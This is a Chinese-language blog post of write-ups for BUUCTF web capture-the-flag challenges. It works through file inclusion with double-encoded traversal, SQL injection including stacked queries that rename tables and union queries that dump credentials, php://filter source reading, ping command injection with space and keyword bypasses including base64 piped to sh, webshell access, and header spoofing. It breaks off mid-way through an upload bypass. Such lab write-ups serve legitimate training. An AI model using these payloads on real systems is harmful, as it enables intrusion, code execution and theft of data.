BUUCTF (WEB)篇

blog 589

靶场链接🔗:BUUCTF题目平台

[HCTF 2018]WarmUp

进入靶场之后,发现靶场是一个表情包。右键查看源代码发现source.php

BUUCTF (WEB)篇

访问source.php会返回一个源码页面。

我们先看下面的代码块:

发现是一个文件包含。其解析:

if (! empty($_REQUEST['file'])    // $REQUEST['file'] 非空
        && is_string($_REQUEST['file'])   // $REQUEST['file'] 是一个字符串
        && emmm::checkFile($_REQUEST['file']) // 能够通过checkFile()函数的校验
    ) {
        include $_REQUEST['file'];  // 上面的if语句为true  则包含$_REQUEST['file']文件。
        exit;  // 退出代码执行
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";  //  //打印滑稽表情
    }  

我们接着看checkFile()函数的源码部分:

class emmm   // 定义emmm类
    {
        public static function checkFile(&$page)  // 将调用函数时穿的值复制给$page 
        {

            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  // 定义一个白名单  
            if (! isset($page) || !is_string($page)) {
                /* 必须满足下面两个条件才不会 return false。
                  1. $page的值不为空
                  2. $page的值是一个字符串
                  这个在外层就已经判断过了。又重新判断了一次。
                */
                echo "you can't see it";
                return false;
            }
            
            // 判断$page的值是否在白名单中,如果在白名单中直接返回true。
            if (in_array($page, $whitelist)) {
                return true;   //true
            }
             
            /* 
            mb_substr() 获取部分字符串  其参数mb_substr('待提取的字符串','开始的位置。0表示从头开始','截取的长度')
            mb_substr() 函数的前两个参数都是固定的值。而截取的长度则是使用了mb_strpos()函数计算。
            mb_strpos() 查找字符串在另一个字符串中首次出现的位置 其参数mb_strpos('要被检查的字符串','从何处查字符串')
            */
            $_page = mb_substr( // 该代码表示截取$page中'?'前部分,若无则截取整个$page
                $page,
                0,
                mb_strpos($page . '?', '?') 
            );


            // 这里和上面一样,查看$_page是否在白名单中。是则返回true
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);  // 对$page进行一次url解码
            $_page = mb_substr(  // 获取?   ?中间的内容
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 判断$page的值是否在白名单中,如果在白名单中直接返回true。
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

通过代码审计发现,看似只有$_REQUEST['file']的值为hint.phpsource.php才会包含成功。

那么我们就尝试包含hint.php

BUUCTF (WEB)篇

得到提示: flagffffllllaaaagggg。很显然这不是最终的flag。猜测可能是flag文件的名称

继续看代码。我们来整理一下逻辑:

第一个if语句:要求$page的值已设置且$page的是字符串。否则返回false

第二个if语句:要求$page的值在$writelist数组中。否则返回false

第三个if语句:经过截取?前部分之后,要求$page的值在$writelist数组中。否则返回false

第四个if语句:经过url解码并截取?前部分之后。要求$page的值在$writelist数组中。否则返回false

若以上都没有返回值。则返回false

问题出现在第四个if语句中。因为使用了urldecode()函数对url进行解码。所以我们可以使用双重编码(也就是将一个字符串编码两次)。被两次编码之后的?号,经过包含的时候会把包含的文件当做一个目录

下面看示例:

test.php的内容为:作为存在文件包含的页面。

BUUCTF (WEB)篇

x1ong.php作为可以包含的页面。

BUUCTF (WEB)篇

123.txt是作为不能包含的文件。

BUUCTF (WEB)篇

他们三者的关系是在同一目录下的。

BUUCTF (WEB)篇

我们包含成功,因为它把x1ong.php当成了一个目录。所以我们需要使用../返回上一层目录。方可包含。

?经过两次url编码为%253f

BUUCTF (WEB)篇

根据这个思路我们解题:

前面获取到提示,flag文件为ffffllllaaaagggg,因此我们构造payload:

?file=hint.php%253f/../ffffllllaaaagggg

发现即没有输出you can't see it也没有报错。说明我们语法没问题。成功绕过了checkFile()函数。

猜测可能是路径不正确。

再次构造payload:

?file=hint.php%253f/../../../../../../../ffffllllaaaagggg

# 因为我们不知道网站根目录距离系统根目录之间有多个层目录。所以我们使用../的次数多一些。

?file=hint.php?../../../../../../../../../ffffllllaaaagggg   // 也有同学使用这个payload也可以解出 

最后成功包含。得到flag:

BUUCTF (WEB)篇
flag{f8b76c5f-254d-4a97-89d2-3f552bbe2a95}

[极客大挑战 2019]EasySQL

进入靶场之后。发现是一个登录框。根据题名判断此页面存在sql注入。

BUUCTF (WEB)篇

在用户名处随便输入一个用户名。之后在密码处输入一个单引号。

测试页面是否存在报错注入。

BUUCTF (WEB)篇

发现页面的确报了错。说明此页面存在报错注入。

BUUCTF (WEB)篇

但是,一般对于登录框,我们首选尝试使用万能密码。观察登录成功的页面

在用户名一栏随便输入个用户名。在密码一栏中输入 test' or '1' = '1

之后点击登录即可。

/check.php?username=123&password=test' or '1' = '1

登录成功。同时也获取到了flag

BUUCTF (WEB)篇
flag{659d08d5-d382-4f4a-ab69-2ab1b3a712e8}

简述以下万能密码吧

我们猜测上方代码使用的是以下sql查询语句

select username,password from users where username=$_GET['username'] and password=$_GET['password']

当输入用户名【123】和万能密码【test' or '1' = '1】时,执行的sql语句为

select username,password from users where username='123' and password='test' or '1' = '1' 

由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。

因此此sql语句在后台解析时,分为两句。【select username,password from users where username='123' and password ='test'】 和 【'1' = '1'】 两处布尔值进行or运算。or运算的运算规则为:or前后的语句,只要有一处的结果为true, 即表示最后的结果为true。从而登录成功。

[极客大挑战 2019]Havefun

进入靶场之后,是一个摇尾巴的猫。右键查看源代码,发现一段隐藏的注释。看语法结构,猜测是php语言。

BUUCTF (WEB)篇

通过代码,我们构造payload:

?cat=dog

即可得到flag

flag{1dabf2b1-c627-4410-92ff-4e368031c68b}

[强网杯 2019]随便注

推荐使用docker镜像练习,不然传入某些值的时候会卡住。

docker镜像点击我下载

docker-compose build 
docker-compose up -d 
open 127.0.0.1:8302

进入到页面之后。发现一个input

BUUCTF (WEB)篇

判断是否存在注入

1'    报错
1'#   正常 返回数据
1' and 1 = 1 #    正常
1' and 1 = 2  #   无回显

判断存在字符型的注入。且可以使用单引号闭合。

尝试获取列数

1' order by 2 #      回显正常
1' order by 3 #       页面报错
BUUCTF (WEB)篇

获取数据

可以判断,该表有三列。尝试使用union注入。

1' union select 1,2 #
BUUCTF (WEB)篇

发现页面过滤了select update delete drop insert where

尝试使用updatexml()报错注入

1' and updatexml(1,concat(0x7e,@@database),1)#
BUUCTF (WEB)篇

既然updatexml()不行,那么我们就尝试使用extractvalue()

1' and extractvalue(1,concat(0x7e,user(),0x7e)) --+      获取当前用户名

1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+    获取当前使用的数据库

1' and extractvalue(1,concat(0x7e,version(),0x7e)) --+    // 获取当前数据库的版本
BUUCTF (WEB)篇

但是,过滤了select语句。因此获取到数据就只能到这里了。

堆叠注入获取数据

在mysql中,每条命令的结束以;进行区分。而多个sql语句的执行,也可以使用;进行分割。

BUUCTF (WEB)篇

由于过滤了select,因此我们不能使用select

尝试使用堆叠注入获取当前所有数据库名。由于不能使用select,所以只能看看。。

1';show databases;#
BUUCTF (WEB)篇

尝试获取当前数据库下表。

1';show tables;#
BUUCTF (WEB)篇

通过结果可以发现,当前数据库下有两张表,分别是 1919810931114514words

猜测input表单查询的是words这张表。

我们使用desc命令查看1919810931114514表的结构。

1';desc `1919810931114514`;#

注意这里的表名需要使用``包裹。
BUUCTF (WEB)篇

通过结果我们发现了flag字段。但是我们不能使用select语句。所以不能直接获取表数据。

我们这里尝试将1919810931114514表更改为words

因为words里面的数据是我们可以获取到的。

先去看一下,words里面的字段

1';desc words;#
BUUCTF (WEB)篇

可以发现,words表中有iddata两个字段。

接下来。我们尝试将1919810931114514更改为words,在此之前,我们需要把words更改为其他名称

1';alter table words rename to words1; alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#

拆分下来就为
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);#



更改表名语法:
alter table 老的表名  rename to 新的表名;
更改某个表的字段语法:
alter table 表名 change 旧字段名 新字段名 数据类型;
1' or 1=1;#
BUUCTF (WEB)篇
flag{glzjin_wants_a_girl_firend}

[ACTF2020 新生赛]Include

进入到页面之后,点击tips。会跳转到下面这个页面。

观察其url,发现是一个文件包含。

BUUCTF (WEB)篇

发现页面包含了flag.php。猜测该文件可能存有隐藏的flag。

我们使用php伪协议php://filter获取flag.php的内容。因为php代码是在后端执行的。到前端的是执行完成之后的结果。因此我们需要使用base64编码。将flag.php的内容编码为base64。从而输出到页面。因为php程序默认是不认识base64编码的。它会当做文本传给前端。

?file=php://filter/read=convert.base64-encode/resource=./flag.php
BUUCTF (WEB)篇

base64解码之后得到flag。关于base64解码自行百度

BUUCTF (WEB)篇
flag{f79cac19-0d89-44cb-885f-eae8fdddbfc7}

关于详细文件包含的内容请参见DVWA-靶场 File Inclusion(文件包含)

[SUCTF 2019]EasySQL

进入页面。发现一行文字。译:把你的旗子给我,我会告诉你旗子对不对

BUUCTF (WEB)篇

尝试输入12 发现都有回显。经过测试发现。只有输入非0数字才会有回显

尝试输入'#'")-- ,发现没有回显。考虑是关闭了报错回显。因此报错是行不通的。

尝试猜解字段发现页面回显Nonono.。不管怎么怼。

1' order by 3#
BUUCTF (WEB)篇

尝试布尔盲注。不管怎么输页面都是回显Nonono.

1' and length(database()) > 4#

我们尝试使用堆叠查询。

获取数据库下的所有数据名

1;show databases;#
BUUCTF (WEB)篇

获取当前使用的数据库

1;select database();#
BUUCTF (WEB)篇
1;show tables;#
BUUCTF (WEB)篇

发现CTF数据库下有两张表,分别是有个Flag表。而1则是我们查询出来的。

sql语句有个习惯,就是如果你输入的列名是数字,则会创建这个列。

如果列名真的是一个数字,则需要使用``进行包裹

BUUCTF (WEB)篇

尝试获取Flag表的内容。发现返回Nonono.

1;select * from Flag;#
BUUCTF (WEB)篇
1;desc Flag;#          尝试获取Flag表的结果 发现返回Nonono
BUUCTF (WEB)篇

初步猜测,可能是不能包含Flag字段。

BUUCTF (WEB)篇

这个时候心里就没思路了。于是就看了下别人writeup,发现这题需要猜测后端的语句。当我们前面输入非0的数字就会有回显。而输入其他字符没有回显。在这里判断可能存在||,也就是逻辑运算符or

猜出来的sql语句大概是这样的:

select $_POST[query] || flag from Flag

当我们传入 *,2 的时候,此时的时候,实际执行的sql语句如下:

select *,2 || flag from Falg


2与flag做||运算  得出的结果为1 
而后者拼接为select *,1 from Flag
从而查询到flag。

在我们查询多个字段名的时候,使用,进行分割。

mysql> select user_id,user,password from users;
+---------+---------+----------------------------------+
| user_id | user    | password                         |
+---------+---------+----------------------------------+
|       1 | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 |
|       2 | gordonb | e99a18c428cb38d5f260853678922e03 |
|       3 | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b |
|       4 | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 |
|       5 | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+---------+----------------------------------+
5 rows in set (0.00 sec)
BUUCTF (WEB)篇
 flag{85a44f9f-9a98-46ac-9a18-a53d15b45137

在网上有人说,该题有vim文件泄露。但是我尝试了一下。并没有vim文件泄露。可能当时出题人不小心哈哈哈哈哈哈,之后搬到BUU的时候,被删掉了吧。出题人哭晕在厕所哈哈哈哈哈哈。

这里放下源码:

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

// 上面就是连接数据库的。

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        // 设置了个黑名单 过滤了好多东西
        $BlackList =  "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            // 如果在黑名单中就输出 Nonono 哈哈哈哈 并且退出
            //echo $post['query'];
            die("Nonono.");
        }
        
        // 如果传的参数长度大于40则输出 Too long 并退出执行
        if(strlen($post['query'])>40){
            die("Too long.");
        }

        // 重点看这里!!!!! 
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

实际后端的语句为:

也就是用了||运算。

select ".$post['query']."||flag from Flag"  

但是这和出题人的想法,好像背道而驰。应该是忘记过了*

预期解:

通过修改mysql配置将或运算符||设置为连接符

我们知道mysql在默认情况下,会将||作为逻辑或运算符。但这个是取决于PIPES_AS_CONCAT设置的,如果启用了PIPES_AS_CONCAT,则||不再是逻辑或,而是用于字符串的连接

正常情况下:||作为逻辑或运算 以下为示例:

mysql> select 1 || 2;
+--------+
| 1 || 2 |
+--------+
|      1 |
+--------+
1 row in set (0.00 sec)

mysql> select 1 || 0;
+--------+
| 1 || 0 |
+--------+
|      1 |
+--------+
1 row in set (0.01 sec)

当sql模式为PIPES_AS_CONCAT,则||功能就作为字符串之间的连接。类似于CONCAT()函数。

set sql_mode=PIPES_AS_CONCAT
mysql> select 20||30;
+--------+
| 20||30 |
+--------+
| 2030   |
+--------+
1 row in set (0.00 sec)

可以发现,2030经过连接之后得到2030。此时已经||已经作为字符串连接符。

1;set sql_mode=PIPES_AS_CONCAT;select 1
BUUCTF (WEB)篇

以下为本机测试:

mysql> select 1 || flag from flag;      // 不设置sql模式的情况下只是逻辑或
+-----------+
| 1 || flag |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

mysql>
mysql>
mysql> set sql_mode=PIPES_AS_CONCAT;   // 设置sql模式
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql> select 1 || flag from flag;   // ||运算符用作拼接。类似于 select concat(1,flag) from flag  
+-----------------------+
| 1 || flag             |
+-----------------------+
| 1flag{fadjflsjfklsdf} |
+-----------------------+
1 row in set (0.00 sec)

极客大挑战 2019]Secret File

进入到页面,发现如下页面。

BUUCTF (WEB)篇

别问蒋璐源是谁。百度都不知道😅😅😅,按照常规思路。我们先右键查看源代码。

发现了一个php页面。

BUUCTF (WEB)篇

进入到该页面,是这样的。

BUUCTF (WEB)篇

发现SECRET是可以点击的。点击之后,进入到这个页面。

右键查看源代码无果。

BUUCTF (WEB)篇

根据页面文字,可以发现,请求页面的时候,应该会有隐藏的信息。于是我们使用burpsuite抓包查看

我们打开Burpsuite,在点击SECRET的时候开启代理进行抓包。之后将数据包发送到Repeater,点击send进行分析。

BUUCTF (WEB)篇

发现,此时页面有个302重定向。在页面的注释发现内容secr3t.php

访问secr3t.php之后出现如下页面源码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);   // 将页面源码高亮显示到页面
    error_reporting(0);   // 关闭php报错信息回显
    $file=$_GET['file'];   // 通过GET请求接受file参数传来的值
    // 只要我们传入的参数不包含 ../ 或者 tp 以及 input 和 data就可以包含成功
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        // 如果传入的参数包含以上任意一个 则执行下面代码。
        echo "Oh no!"; //  打印Oh no!
        exit();  // 退出程序的执行
    }
    include($file);  // 包含这个文件。
//flag放在了flag.php里  
?>
</html>

通过审计代码发现,这是一个文件包含页面。我们可以对file参数进行传值。但是我们的file传进去的值不能包含 ../tp 以及 inputdata。否则会打印 Oh no! 并退出程序的执行

根据下面提示flag放在flag.php文件里面。

一般通过文件包含读取php文件内容。我们可以使用php://filter伪协议进行文件地读取。其原理大概就是php文件源码不能直接输出到前端页面,我们对其内容进行base64编码。将其作为文本返回给浏览器。从而得到回显。

?file=php://filter/read=convert.base64-encode/resource=./flag.php
BUUCTF (WEB)篇

将下面的Base64编码进行复制。在Burpsuite中进行解码。

点击Decoder模块。之后看图

BUUCTF (WEB)篇
flag{ea44efe6-cb4c-4b0a-9092-9540bde3942b}

[ACTF2020 新生赛]Exec

进入的页面之后,发现页面是一个ping

尝试ping一下自己的网站,发现的确可以ping,说明这里存在命令执行

当然最好ping 127.0.0.1 有时候靶机是无法访问外网的。

BUUCTF (WEB)篇

尝试构造payload:

127.0.0.1;ls
BUUCTF (WEB)篇

可以看到当前目录下存在index.php文件。

于是将我们目光投向到根目录下。

127.0.0.1;ls -lsa / 
BUUCTF (WEB)篇

发现在根目录存在flag文件。直接使用cat命令查看即可。

127.0.0.1;cat /flag
BUUCTF (WEB)篇
flag{d85714b1-b591-4403-aebc-dbda4b922aec}

关于更多命令执行的知识请参见:DVWA靶场-Command Injection

[极客大挑战 2019]LoveSQL

进入网页,依旧是一个登录框。

尝试在用户名中输入'。在password中随便输入。发现页面报错。说明页面存在报错注入

BUUCTF (WEB)篇
username: admin' or '1' = '1' #

password: 随便输


username: admin' and '1' = '1' #
password: 随便输

尝试输入以上万能密码,发现页面一致转圈圈。不知道是不是因为后端问题。还是浏览器问题。这里使用的chrome

于是我就将or换成了||,他们两个都是逻辑或,只是表现形式不一致。

admin' || '1' = '1' #
BUUCTF (WEB)篇

登录成功。但里面只有admin的密码哈哈哈哈哈哈。

判断注入点

admin' && '1' = '1' #   登录成功

admin' && '1' = '2' #   登录错误

&&也是逻辑与and的表现形式。

说明当前注入点可以使用单引号进行闭合

猜解列的字段数

username: admin' order by 4 #    
password: 随便输
BUUCTF (WEB)篇

发现页面报错。提示未知的列4

admin' order by 3 #       登录成功,表示当前表的列数有3列。

获取数据

username:  admin' union select 1,2,3 #
password: 随便输 

发现页面卡住了。。。于是我就换了Firefox浏览器

BUUCTF (WEB)篇

发现页面并没有回显1,2,3,猜测可能是limit的限制,只允许返回两行

尝试修改payload:

test' union select 1,2,3 #

test用户在数据库中应该是不存在的。所以我们让前者查下为空。返回我们后者的查询
BUUCTF (WEB)篇

发现页面,返回了23。我们将payload中的2和3。修改为我们要查询的表即可

test' union select 1,database(),user() #
BUUCTF (WEB)篇

得到当前使用的数据库名为geek。使用root用户进行登录。

尝试获取当前数据库下的所有表

test' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # 
BUUCTF (WEB)篇

发现当前数据有两张表。分贝是geekuser,l0ve1ysq1

尝试获取这两张表中的字段。

test' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' # 
BUUCTF (WEB)篇

l0ve1ysq1表下有三列。分别是id,username,password

test' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser' # 

在geekuser表中也有三列。分贝是id,username,password

我们先去获取以下当前数据库下的所有数据库。他们都列名好像都不想flag哈哈哈哈。

test' union select 1,2,group_concat(schema_name) from information_schema.schemata # 
BUUCTF (WEB)篇

发现,当前数据下有这几个数据库,分别是information_schema,mysql,performance_schema,test,geek

这里我们主要看test数据库和geek数据库,其他三个是mysql数据库内置库

尝试获取test数据库中的表,发现数据库为空

test' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test' # 
BUUCTF (WEB)篇

到这一步的时候。发现。。mmp。先获取一下那两张表中的数据吧。

test' union select 1,2,group_concat(username,0x7e,password) from geekuser #
BUUCTF (WEB)篇

得到用户名和密码。中间使用~间隔。

在前面,我们已经知道了l0ve1ysq1表的字段,接下来,我们获取表的数据

test' union select 1,2,group_concat(username,0x7e,password) from l0ve1ysq1 #
BUUCTF (WEB)篇

最后在结果的末尾发现了flag。

flag{554b3ec6-2218-46aa-8e29-efd3917a249f}

后记

由于本人是边做题边写wp,所以步骤有时候可能比较繁琐。但是里面包含了诸多思路和知识。希望大家能get到。当然笔者能力有限。前面我使用andor的时候。发现页面卡住了。初步猜测是后端或者浏览器的问题。刚刚在做题过程中,我又遇到了一直转圈圈。于是我就换了多个浏览器,发现成功了。但是过了一会,又卡住了。于是我就使用了Firefox的隐私窗口。如果大家遇到了相同的问题。请也尝试下使用隐私窗口等(如果过了一会还是卡住,那么创建新的隐私窗口即可)。

[GXYCTF2019]Ping Ping Ping

进入到页面。发现页面文字/?ip=,根据题目名称和参数名,应该让我们传入一个IP地址。

/?ip=127.0.0.1
BUUCTF (WEB)篇

发现页面有回显。

尝试构造payload:

/?ip=127.0.0.1&&ls

发现页面无回显,猜测可能是对&&进行了过滤

尝试将&&更换为||

/?ip=a||ls
BUUCTF (WEB)篇

发现当前页面存在flag.php,直接访问该php文件是空白的。

/?ip=a||cat flag.php
BUUCTF (WEB)篇

发现空格被过滤了。以下为代替空格的语句

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
/?ip=a||cat${IFS}flag.php
BUUCTF (WEB)篇

发现有东西被过滤了。我们这里测试一下是谁被过滤了

/?ip=a||cat${IFS}
BUUCTF (WEB)篇

猜测可能是${IFS}被过滤了。尝试更换${IFS},将其更换为$IFS$1

/?ip=a||cat$IFS$1flag.php
BUUCTF (WEB)篇

之后发现flag又被过滤了。此时我们尝试看一下index.php的源码。

/?ip=a||cat$IFS$1index.php
BUUCTF (WEB)篇

得到如下页面,但是这里是不完整的。我们右键查看源代码,得到以下源码。

<?php
if(isset($_GET['ip'])){ // 判断参数ip是否有值
  $ip = $_GET['ip']; //将参数ip的值赋值给变量ip
  // 使用正则表单时进行匹配
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    // 如果匹配到则向页面输出1 
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    // 如果传入的值包含以上,则输出下面这句话并退出程序执行
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    // 如果传入的值包含空格则输出下面这句话并退出程序的执行
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
  // 如果传入得知是包含bash则输出下面这句话并退出程序的执行
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ // 匹配一个字符串中,是否按顺序出现过flag四个字母
    // 如果传入的值包含flag则输出下面这句话并退出程序的执行
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

变量拼接绕过

通过以上源码得知,flag被过滤了,于是我们尝试使用变量拼接的形式。读取flag文件。

/?ip=a;b=f;cat$IFS$1$blag.php   // 过滤
/?ip=a;b=l;cat$IFS$1f$bag.php // 有响应 无flag内容
/?ip=a;b=a;cat$IFS$1fl$bg.php  // 有响应 无flag内容
/?ip=a;b=g;cat$IFS$1fla$b.php  // 有flag
/?ip=a;b=g;cat$IFS$1fla$b.php
BUUCTF (WEB)篇
flag{7fcf24c5-9f25-46a5-9b6d-a54ae5ef854c}
 if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ // 匹配一个字符串中,是否按顺序出现过flag四个字母
    die("fxck your flag!");
  }

对于以上正则,其实还有一种绕过形式。

/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

以上面基本一致。因为上面这个if语句,只会匹配按顺序出现过的flag四个字母。而不会匹配不按顺序出现的flag字母

还有一种解法是通过base64编码绕过正则匹配

base64编码绕过

cat flag.php进行base64编码得到Y2F0IGZsYWcucGhw

x1ong@sunnydeMacBook-Pro html % echo "Y2F0IGZsYWcucGhw"
Y2F0IGZsYWcucGhw
x1ong@sunnydeMacBook-Pro html % echo "Y2F0IGZsYWcucGhw" | base64 -d
cat flag.php
x1ong@sunnydeMacBook-Pro html % echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
flag{fasdfsldfjsldkfj}
x1ong@sunnydeMacBook-Pro html %

以上代码先使用echo命令对Y2F0IGZsYWcucGhw进行标准输出。

在Linux中内置了base64命令,其用来对base64编码进行解码。-d参数表示解码。

echo "Y2F0IGZsYWcucGhw" | base64 -d | sh 

这里使用了管道符,这条命令是将 echo "Y2F0IGZsYWcucGhw" 输出的结果,交给base64 -d 命令进行处理。之后base64 -d解码之后。

得到cat flag.php

之后再使用管道符将解密后的cat flag.php交给我们的sh处理。而sh正是我们的shell终端。

x1ong@sunnydeMacBook-Pro html % cat flag.php
flag{fasdfsldfjsldkfj}

类似直接在命令行中直接执行cat flag.php

构造payload:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

由于空格"在黑名单中,因此我们把空格以$IFS$1代替。而双引号可以不加。

而$IFS$1则是shell内置变量。其内容为空白。可代替空格。

BUUCTF (WEB)篇
/?ip=a;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
BUUCTF (WEB)篇

内联绕过

利用Linux的特性。被``反引号包裹起来的字符串,可以当做命令执行。反引号即ESC键下方。

x1ong@sunnydeMacBook-Pro html % cat flag.php
flag{fasdfsldfjsldkfj}
x1ong@sunnydeMacBook-Pro html % cat `flag.php`
zsh: command not found: flag.php

当我们不加反引号的时候。执行cat flag.php则是打印出flag.php的内容。而将flag.php加上反引号。

则提示未知的命令flag.php,可以发现,flag.php被当做了命令执行。

x1ong@sunnydeMacBook-Pro test % ll
total 56
-rw-r--r--  1 x1ong  wheel    23B 10  3 20:01 1
-rw-r--r--  1 x1ong  wheel    23B 10  3 20:01 2
-rw-r--r--  1 x1ong  wheel    23B 10  3 20:01 3
-rw-r--r--  1 x1ong  wheel    23B 10  3 20:01 4
-rw-r--r--  1 x1ong  wheel    23B 10  3 20:02 5
-rw-r--r--  1 x1ong  wheel    23B 10  3 20:02 6
-rw-r--r--  1 x1ong  wheel    23B 10  3 20:02 7
x1ong@sunnydeMacBook-Pro test % cat `ls`
我是文件1的内容
我是文件2的内容
我是文件3的内容
我是文件4的内容
我是文件5的内容
我是文件6的内容
我是文件7的内容

当前目录下是存在1-7命名的文件。而我们执行cat `ls` 则将当前目录下的所有文件内容打印了出来

因此构造payload:

/?ip=a;cat$IFS$1`ls`;
BUUCTF (WEB)篇

[极客大挑战 2019]Knife

进入到页面,发现几个大字。而标题是白给的shell

然后又给了你一句话木马的源码。

BUUCTF (WEB)篇

很明显是告诉你,这个页面有webshell。让你使用中国菜刀连接。而连接密码是Syc

而我这里偏偏不使用菜刀连接。我直接手动传参。

BUUCTF (WEB)篇

发现传参无果后,于是果断打开中国蚁剑 红红火火恍恍惚惚红红火火恍恍惚惚

flag{c4902350-58f1-4db3-8a03-b5858b4e6a5e}
BUUCTF (WEB)篇

连接成功之后,在系统根目录下即可看到flag文件。

中国蚁剑下载地址:

github: https://github.com/AntSwordProject/AntSword-Loader

Gitee: https://gitee.com/jeea/AntSword

[极客大挑战 2019]Http

进入到页面之后,是一个招新页面。右键查看源代码。发现Secret.php文件。

BUUCTF (WEB)篇

进入到该页面中提示,我不是来自下面这个网站。

BUUCTF (WEB)篇

下面介绍一下Referer这个请求头:

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

—— 摘自百度百科

于是我们使用HackBar插件修改请求头中的参数Referer,将其修改为https://www.Sycsecret.com

BUUCTF (WEB)篇

之后页面提示,说使用的不是这个浏览器。

BUUCTF (WEB)篇

那么我们还需要修改User-agnet。将其修改为Syclover

下面介绍一下User-agent

User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

——摘自百度百科

知道他们两者之后我们去Burpsuite修改数据包(HackBar)也可以。但是学习期间,还是多熟悉一些工具。

User-Agent: Syclover
Referer: https://www.Sycsecret.com

// 注意下面要有一个空行
BUUCTF (WEB)篇

发送数据包之后,页面提示我们 No!!! you can only read this locally!!!,仅允许本地用户读取。

那么还要向大家介绍一个请求头——X-Forwarded-For

X-Forwarded-ForXFF)是用来识别通过HTTP代理负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段

——以上摘自百度百科

简单来说,它能获取到你的客户端IP地址。从而判断你是否是本地ip。

而127.0.0.1是回送地址。代表本机的IP地址。

因此在HTTP请求头添加如下:

X-Forwarded-For: 127.0.0.1 
BUUCTF (WEB)篇

最后得到flag

flag{b35f8e0d-0ce6-47c5-8687-b08fca86899e}

[极客大挑战 2019]Upload

进入页面,发现是一个文件上传,尝试上传一个php文件。

BUUCTF (WEB)篇

提示Not image。之后上传一个PHP文件使用Burpsuite进行数据包的抓取。

将其发送到Repeater

我们修改该请求的Content-Type字段。

将其修改为image/jpeg。图片的MIME类型。

BUUCTF (WEB)篇

发现页面返回NOT! php!将.php需改为.jpg文件进行上传。发现页面提示NO! HACKER! your file included '<?'

表示我们的文件内容包含<?,这也就说明,后端对文件地内容进行了检查。文件内容不能包含<?

'&#x3C;&#x3F;' 为HTML实体编码其解码为 '<?'
BUUCTF (WEB)篇

我们这里尝试上传一个txt文本文件。查看其返回。

BUUCTF (WEB)篇

发现,返回Not image。

因为对文件内容进行了检查,这里在文件内容中加入图片的文件头。让其误认为我们是图片。

JPEG (jpg), 文件头:FFD8FF
PNG (png), 文件头:89504E47
GIF (gif), 文件头:47494638
TIFF (tif), 文件头:49492A00

而十六机制的47494638转为字符串则为GIF8。所以我们这里再文件内容的开头加入GIF8或者GIF89a即可。

以下是gif图片的文件头:

BUUCTF (WEB)篇
BUUCTF (WEB)篇

